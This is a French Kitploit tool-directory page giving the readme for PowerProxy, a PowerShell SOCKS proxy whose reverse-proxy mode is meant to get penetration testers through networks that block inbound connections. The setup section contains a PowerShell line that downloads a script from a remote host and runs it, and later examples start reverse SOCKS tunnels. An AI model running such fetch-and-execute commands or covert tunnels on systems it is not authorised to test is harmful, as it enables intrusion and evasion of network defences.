Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PowerProxy — Proxy SOCKS PowerShell avec capacités de proxy inverse | Kitploit
Outils/GitHubGitHub/get-get-get-get/powerproxy
Sécurité RéseauTests d'IntrusionCommandement et ContrôleRed Teaming
GitHubget-get-get-get/powerproxy

PowerProxy

Proxy SOCKS PowerShell avec capacités de proxy inverse

Voir le dépôt
8413il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PowerProxy

Proxy SOCKS PowerShell avec capacités de proxy inverse.

PowerProxy est conçu pour les testeurs de pénétration. La fonctionnalité de proxy inverse est une priorité, afin de traverser des réseaux qui bloquent les connexions entrantes. Les connexions du proxy inverse sont chiffrées par défaut. L'authentification par nom d'utilisateur/mot de passe est prise en charge pour les connexions Socks 5.

Configuration

Importez le script :

root@kitploit:~
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1") 
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1

reverse_proxy_handler.py peut créer des certificats SSL temporaires, ce qui nécessite OpenSSL. Si OpenSSL n'est pas installé sur votre machine (il l'est sur la plupart des systèmes Linux/Unix), fournissez votre propre certificat ou utilisez l'option --no-encrypt.

Utilisation

Pour une utilisation détaillée, consultez l'aide de PowerProxy, ou utilisez ./reverse_proxy_handler.py --help

Exécution d'un proxy inverse

Sur la machine locale, démarrez le handler :

root@kitploit:~
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080 

Dans PowerShell :

root@kitploit:~
Start-ReverseSocksProxy 172.1.1.20 -Port 8080

Les clients proxy peuvent traiter le serveur créé par reverse_proxy_handler.py comme s'il s'agissait du véritable serveur SOCKS :

root@kitploit:~
curl --socks4 127.0.0.1:1080 http://10.10.2.69/

Exécution d'un serveur SOCKS traditionnel

root@kitploit:~
Start-SocksProxy 172.10.2.20 -Port 9050

Exiger une authentification

Utilisez des objets PSCredential pour exiger un nom d'utilisateur et un mot de passe :

root@kitploit:~
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

Limitations

  • Pour l'instant, seules les requêtes CONNECT sont prises en charge. La prise en charge de BIND est un objectif, si elle est réalisable.
  • L'authentification GSSAPI n'est pas prise en charge.
  • reverse_proxy_handler.py est seulement testé sur des machines UNIX, et ne fonctionne probablement pas sous Windows.
Télécharger l’outil